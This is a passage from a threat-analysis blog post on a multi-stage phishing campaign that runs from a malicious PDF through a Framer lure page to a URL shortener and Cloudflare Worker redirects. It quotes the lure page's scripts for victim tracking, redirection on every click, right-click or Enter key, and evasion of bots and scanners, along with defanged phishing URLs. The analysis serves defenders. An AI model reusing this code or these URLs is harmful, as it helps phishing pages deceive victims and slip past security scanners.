href="https://substackcdn.com/image/fetch/$s_!OHJb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OHJb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 424w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 848w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 1272w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OHJb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png" width="800" height="1100" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1100,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:250955,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OHJb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 424w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 848w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 1272w, https://substackcdn.com/image/fetch/$s_!OHJb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5875491c-37e0-4d0e-84fd-f83f79902c94_800x1100.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The malicious PDF file that contains a phishing link.</figcaption></figure></div><p><strong>The malicious PDF </strong>contained an embedded link in the text, reading:<br>&#8216;ACCESS DOCUMENT&#8217;:</p><pre><code>https://view-proposal-document-vjmsq.framer[.]website/
Note: link disabled by adding [.] on the to prevent accidental click.</code></pre><p><a href="https://hybrid-analysis.com/">Hybrid Analysis</a> scanning revealed no malicious scripts or system modifications beyond the phishing lure link itself. This clean behavioral profile helps the PDF evade automated security scanners that rely on detecting malicious code execution.</p><div><hr></div><h2>Part 1: Framer Landing Page</h2><p>When the victim clicks the link in the malicious PDF, they land on a page hosted on Framer, a platform that enables fast, anonymous website deployment. </p><p>Using a trusted cloud service like Framer makes it harder for detection systems to flag the page, as it looks like a legitimate website. The attacker can quickly change or update the page without revealing their true infrastructure.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WOQj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WOQj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 424w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 848w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 1272w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WOQj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png" width="1000" height="750" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:750,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71502,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WOQj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 424w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 848w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 1272w, https://substackcdn.com/image/fetch/$s_!WOQj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F084e1e30-9fb7-4451-aea1-85b6760be890_1000x750.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>By using cloud services like Framer, attackers avoid triggering security systems designed to detect suspicious activity.</p><div><hr></div><h3>VirusTotal Scan (Framer)</h3><p>The Framer-hosted phishing page was scanned using <a href="https://www.virustotal.com/gui/url/8443291481efece5aaf83b47d9b6dfdfaaeedc5e2b81e6ff749e02d86c07fc57?nocache=1">VirusTotal</a>. Only 1 out of 94 security vendors flagged it as malicious.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dJTh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dJTh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 424w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 848w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 1272w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dJTh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png" width="1456" height="236" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:236,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:130970,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dJTh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 424w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 848w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 1272w, https://substackcdn.com/image/fetch/$s_!dJTh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a2e86f0-ba66-4727-ac58-8ecc20c84077_2866x464.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This low detection rate underscores how effective the multi-phase infrastructure is at bypassing traditional security measures, which rely on signature-based detection.</p><div><hr></div><h3>Source Code Analysis (Framer)</h3><p>By analyzing the page&#8217;s <a href="https://urlscan.io/result/019c2180-85b2-767a-bc5d-1c867a707dae/dom/">source code with URLScan.io</a>, we can see the techniques used to manipulate the victim and track their interactions. Several tactics are used to gather victim data and ensure the attack proceeds smoothly.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SZzf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SZzf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 424w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 848w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 1272w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SZzf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png" width="1456" height="643" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:643,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:284057,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SZzf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 424w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 848w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 1272w, https://substackcdn.com/image/fetch/$s_!SZzf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7bbe6c8-a1c6-4a21-bca6-6ead5ef173b2_1856x820.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Below is a summary of the scripts found within the source code.</p><div><hr></div><h3>1. Framer Analytics Script</h3><p>The page includes a Framer Analytics script that sends real-time telemetry on victim interaction to events.framer.com, providing the attacker with continuous monitoring of how the victim engages with the page.</p><pre><code><code>&lt;script async="" src="https://events.framer[.]com/script?v=2" 
  data-fid="638ac464f4ab61c76ffefe5a6b9648df1161bd21f6af060b9205e890d" 
  data-no-nt=""&gt;
&lt;/script&gt;</code></code></pre><div><hr></div><h3>2. Parameter Merger Script</h3><p>The attacker uses a parameter-merging script to make sure tracking data and payload information persist as a victim moves through the attack chain. </p><p>If this data is not passed to the next link, the attacker loses visibility into the victim and the infrastructure may fail to properly validate the session.</p><p>Put simply, if the attacker sends a victim to the page using a URL parameter for tracking a Victim ID (VID), then any links on the page marked with the HTML attribute <code>data-framer-preserve-params</code> will be updated to include that ID.</p><pre><code>/* PARAMETER TRACKING LOGIC */

!function() {
    var l = "framer_variant";
    
    // THE ENGINE: Extracts and merges parameters from current page to target URL
    function u(a, r) {
        let n = r.indexOf("#"),
            e = n === -1 ? r : r.substring(0, n), // Base URL
            o = n === -1 ? "" : r.substring(n),   // URL Fragment (#)
            t = e.indexOf("?"),
            m = t === -1 ? e : e.substring(0, t), // Domain/Path
            d = t === -1 ? "" : e.substring(t),   // Existing Query String
            s = new URLSearchParams(d),           // Target params
            h = new URLSearchParams(a);           // Source (Victim) params

        // Loops through source params (VID, QID, etc.) and appends them
        for (let [i, g] of h) 
            s.has(i) || i !== l &amp;&amp; s.append(i, g);

        let c = s.toString();
        return c === "" ? e + o : m + "?" + c + o;
    }

    // THE DRIVER: Identifies specific links on the page to weaponize

    var f = "div#main a[data-framer-preserve-params]";
    
    if (window.location.search &amp;&amp; !navigator.webdriver) {
        let a = document.querySelectorAll(f);
        for (let r of a) {
            let n = u(window.location.search, r.href);
            r.setAttribute("href", n); // Injects tracking IDs into the link
        }
    }
}();</code></pre><p>This allows the attacker to send multiple victims to the same page while keeping each victim&#8217;s unique tracking ID attached to the link for the next stage, preserving their identity throughout the flow.</p><blockquote><p><strong>Note:</strong> In this case, the attacker <em>did not</em> send the victim to the page with a URL parameter, which caused the entire script to go unused. It is unclear whether this was intentional or a misconfiguration.</p><p>Instead, tracking was implemented using unique hash values embedded in the download button URL. While this still allows the attacker to identify that a unique victim has entered the system, it removes visibility into which specific targets or delivery methods led to the click.</p><p>As a result, the attacker loses some tracking detail at this stage and relies solely on hash-based tracking further down the chain.</p></blockquote><div><hr></div><h3>2. Download button</h3><p>The &#8220;VIEW / DOWNLOAD SECURE DOCUMENT&#8221; button redirects the victim to an external URL hosted behind a URL shortening service:</p><pre><code><code>https://rebrand[.]ly/4e27bc#Yz0xJl9oPTI2R2xIS08--
Note: link disabled by adding [.] on the to prevent accidental click.</code></code></pre><p>The use of a URL shortener obscures the next destination in the chain.</p><div><hr></div><h4>Hash Value in Download Link:</h4><p>The URL includes a fragment value appended after the # symbol:</p><pre><code>#Yz0xJI9oPTI2R2xIS08--</code></pre><p>This fragment acts as a unique identifier associated with the page load. Each fresh browser session receives a new value, which enables per-visitor tracking.</p><p>Under normal browser behavior, URL fragments are used to reference a section of a page, such as #section3. These fragments are not transmitted to the server during HTTP requests. They remain client-side but persist through redirects unless explicitly removed.</p><p>In this case, the fragment is intentionally preserved across the redirect chain. It is later extracted and processed by subsequent pages to maintain tracking continuity.</p><h4>Base64-Encoded Tracking Data</h4><p>The fragment value is Base64 encoded. When decoded, it resolves to:</p><pre><code>c=1&amp;_h=26GIHKO</code></pre><p>This output shows structured key value pairs rather than random data. These values function as tracking parameters that downstream scripts can parse and reuse as the victim moves through additional stages.</p><p>This technique enables persistent identification across multiple redirects and domains while avoiding traditional query string transmission.</p><div><hr></div><h3>3. Event Hijacking</h3><p>The page uses an <strong>event hijacking script</strong> designed to ensure that nearly any user interaction results in a redirect to the next stage of the flow.</p><p>Instead of relying on a standard clickable link, the script intercepts multiple browser events and explicitly triggers navigation through JavaScript.</p><pre><code><code>&lt;script&gt;
  (()=&gt;{function u(){function n(t,e,i){let r=document.createElement("a");
  r.href=t,r.target=i,r.rel=e,document.body.appendChild(r),
  r.click(),r.remove()}
  function o(t){if(this.dataset.hydrated){
  this.removeEventListener("click",o);return}
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");if(!e)return;
  if(/Mac|iPod|iPhone|iPad/u.test(navigator.userAgent)?
  t.metaKey:t.ctrlKey)return n(e,"","_blank");
  let r=this.getAttribute("rel")??"",
  c=this.getAttribute("target")??"";n(e,r,c)}
  function a(t){if(this.dataset.hydrated){
  this.removeEventListener("auxclick",o);return}
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");e&amp;&amp;n(e,"","_blank")}
  function s(t){if(this.dataset.hydrated){
  this.removeEventListener("keydown",s);return}
  if(t.key!=="Enter")return;
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");if(!e)return;
  let i=this.getAttribute("rel")??"",
  r=this.getAttribute("target")??"";n(e,i,r)}
  document.querySelectorAll("[data-nested-link]")
  .forEach(t=&gt;{t instanceof HTMLElement&amp;&amp;(
  t.addEventListener("click",o),
  t.addEventListener("auxclick",a),
  t.addEventListener("keydown",s))})}
  return u})()()
&lt;/script&gt;</code></code></pre><h4>Hijacked Interaction Events</h4><p>The script attaches event listeners to any element containing the <code>data-nested-link</code> attribute. This effectively turns large portions of the page into redirect triggers rather than traditional links.</p><p>The following interaction types are explicitly intercepted:</p><ul><li><p>Left click events</p></li><li><p>Right click and middle click events via <code>auxclick</code></p></li><li><p>Keyboard interaction using the Enter key</p></li></ul><p>Regardless of whether the user clicks, right clicks, middle clicks, or presses Enter, the script suppresses default browser behavior and forces navigation to the embedded URL.</p><h4>Forced Navigation Mechanism</h4><p>Instead of allowing the browser to handle navigation naturally, the script dynamically creates a temporary <code>&lt;a&gt;</code> element. </p><p>It assigns the <code>href</code>, <code>target</code>, and <code>rel</code> attributes, programmatically triggers a click, then immediately removes the element from the DOM.</p><p>This method produces consistent navigation behavior across browsers, operating systems, and mobile environments.</p><p>This approach also neutralizes common hesitation behaviors such as right clicking to inspect a link or using keyboard navigation, since all interactions are treated as deliberate clicks.</p><h4>Impact on the Attack Chain</h4><p>By hijacking multiple event types, the attacker significantly reduces friction and increases conversion rates. The victim is funneled into the next stage of the phishing flow regardless of interaction method.</p><div><hr></div><h3>4. Anti-Bot Detection</h3><p>The page contains anti-automation logic designed to limit access to tracked victim flows and hinder automated analysis. Execution of this logic is conditional, depending on the presence of URL parameters.</p><pre><code><code>if(window.location.search&amp;&amp;
   !navigator.webdriver&amp;&amp;
   !/bot|-google|google-|yandex|ia_archiver|crawl|spider/iu.test(navigator.userAgent))</code></code></pre><h4>Conditional Execution of Bot Checks</h4><p>The anti-bot checks only run when <code>window.location.search</code> contains query parameters. If the page is accessed without URL parameters, this block is skipped entirely and no automation checks occur.</p><p>As mentioned earlier, in this campaign the phishing page itself was delivered without URL parameters, even though the operation was active and monitored. Victim tracking relied on a Base64-encoded hash fragment embedded in the Rebrand.ly download link rather than query strings.</p><p>As a result, the anti-bot logic was never triggered during the initial page load. </p><h4>Detection Signals Used When Active</h4><p>If URL parameters are present, the script applies multiple signals to detect automated analysis:</p><ul><li><p><code>navigator.webdriver</code> to detect browser automation frameworks</p></li><li><p>User agent pattern matching for known crawlers and scanners</p></li><li><p>Implicit filtering of headless or scripted browsing environments</p></li></ul><p>This ensures bot detection only runs when the attacker expects to preserve and propagate victim-specific tracking data.</p><div><hr></div><h2>Part 2: Server-Side Functions</h2><p>After the victim clicks &#8220;VIEW / DOWNLOAD SECURE DOCUMENT&#8221;, control shifts from the client-side Framer page to server-side infrastructure. </p><p>From this point forward, all logic is handled through a series of redirects and backend checks designed to validate the victim, manage tracking, and decide whether the attack should continue.</p><h3>CloudFlare Phishing Infrastructure</h3><p>The next stages of the attack are hosted on Cloudflare Workers. Using Cloudflare provides the attacker with trusted infrastructure, valid SSL certificates, and strong reputation shielding. Because Cloudflare Workers are widely used for legitimate applications, traffic to these domains is far less likely to be blocked or flagged.</p><p>This also allows the attacker to dynamically update logic, redirect behavior, and payload handling without touching the original phishing page.</p><h3>Redirect #1: Cloudflare Worker</h3><p>The Rebrand.ly short link resolves to a Cloudflare Workers endpoint, with the hash fragment preserved at the end of the 